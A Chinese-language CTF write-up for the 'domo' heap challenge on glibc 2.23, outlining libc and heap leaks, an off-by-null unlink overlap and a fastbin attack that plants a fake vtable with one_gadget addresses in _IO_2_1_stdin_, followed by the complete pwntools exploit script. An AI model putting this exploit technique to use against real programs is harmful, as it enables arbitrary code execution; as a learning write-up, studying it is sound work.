思路如下
- glibc2.23用unsorted bin泄露libc
- heap_addr用fastbin泄露
- heap重叠改写fd实现任意地址写入
- 申请一个chunk伪造成vtable,将one_gadget布置进去
- 在_IO_2_1_stdin_构造fake_chunk改写vtable为fake_vtable
- 当程序调用scanf时就会触发one_gadget(具体调试跟踪太…所以暂时记概念)
题目分析
- off by null
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7DWpLr3E-1664940572486)(./图片/off_by_null.png)]
2. 同时只能有9个chunk
3. 不能去修改malloc_hook和free_hook,否则无法使用程序的函数(添加了if判断)
overlap构造
-
构造三个chunk(具体看exp这里直说unlink部分),分别为
malloc(0x40),malloc(0x68),malloc(0xf0)
-
通过前面的泄露的chunk地址通过计算拿到chunk_0的地址进行布置,fd,bk的位置+0x8和0x10目的是unlink检查时使其拿chunk_0的地址进行判断(自己看源码啦)
- 通过chunk_1改写其chunk_2的pre_size以及触发off by one
- 释放chunk_2,完成overlap,即通过申请chunk切割unlink后得到chunk_3,若chunk_3释放了,我们可以通过chunk_0改写fd,实现任意地址写(需提前布置)
exp
from pwn import *
context.update(os='linux',arch='i386',log_level='debug')
#c=remote(b'node4.buuoj.cn',29430)
c=process(b'./domo')
libc=ELF(b'/home/davis/Desktop/libc.so.6')
gdb.attach(c,'''
b *$rebase(0xf1c)
b *$rebase(0x1054)
b *$rebase(0x1135)
''')
def add(size,content):
c.sendlineafter(b'> ',b'1')
c.sendlineafter(b'size:',str(size))#0x0-0x120
c.sendlineafter(b'content:',content)
def free(idx):
c.sendlineafter(b'> ',b'2')
c.sendlineafter(b'index:',str(idx))
def show(idx):
c.sendlineafter(b'> ',b'3')
c.sendlineafter(b'index:',str(idx))
def edit_only_one(addr,num):
c.sendlineafter(b'> ',b'4')
c.sendlineafter(b'addr:',str(addr))
c.sendlineafter(b'num:',num)
#leak libc_base
add(0x100,b'') #0
add(0x10,b'') #1
free(0)
add(0x100,b'') #0
show(0)
c.recv(1)
offset= 0x7ffff7bcdb78 - 0x7ffff7bcdb0a
main_arena= u64(c.recv(6).ljust(8,b'\x00')) + offset-88
malloc_hook= main_arena - 0x10
libc_base= malloc_hook-libc.sym[b'__malloc_hook']
log.success("libc_base="+hex(libc_base))
#leak heap_addr
add(0x10,b'') #2
free(1)
free(2)
add(0x10,b'') #1
show(1)
c.recv(1)
offset=0x55a925ece120-0x55a925ece10a
heap_addr=u64(c.recv(6).ljust(8,b'\x00'))+offset
log.success("heap_addr="+hex(heap_addr))
add(0x10,b'') #2
fake_chunk =heap_addr+0x20+0x20+0x10
log.success("fake_chunk="+hex(fake_chunk))
add(0x40,p64(0)+p64(0xb1)+p64(fake_chunk+0x8)+p64(fake_chunk+0x10)+p64(fake_chunk)) #3
add(0x68,b'') #4
add(0xf0,b'') #5
free(4)
add(0x68,p64(0)*12+p64(0xb0)) #4
add(0x10,b'') #6
free(5)
#### fastbin attack
_IO_2_1_stdin_=libc_base+libc.sym['_IO_2_1_stdin_']
log.success("_IO_2_1_stdin_="+hex(_IO_2_1_stdin_))
fake_chunk=_IO_2_1_stdin_+160-3
log.success("fake_chunk="+hex(fake_chunk))
add(0xc0,b'')#5
add(0x60,b'')#7
free(7)
free(4)
free(5)
add(0xc0,p64(0)*7+p64(0x71)+p64(fake_chunk))#4
#1 2 3 4 6
og=[0x45226,0x4527a,0xf03a4,0xf1247]
add(0xa8,p64(0)*2+p64(libc_base+og[2])*19)#5
fake_vtable=heap_addr+0x220
payload=b'\x00'*3+p64(0)*2+p64(0xffffffff)+p64(0)*2+p64(fake_vtable)+p64(0)
add(0x60,b'')#7
add(0x63,payload)#8
c.interactive()
注:教训血的教训,看了自己写的exp像极了狗x,建议大家提前把需要的chunk准备好,我这里是想到泄露什么就先写了一部分的导致后面自己都看懵了=-=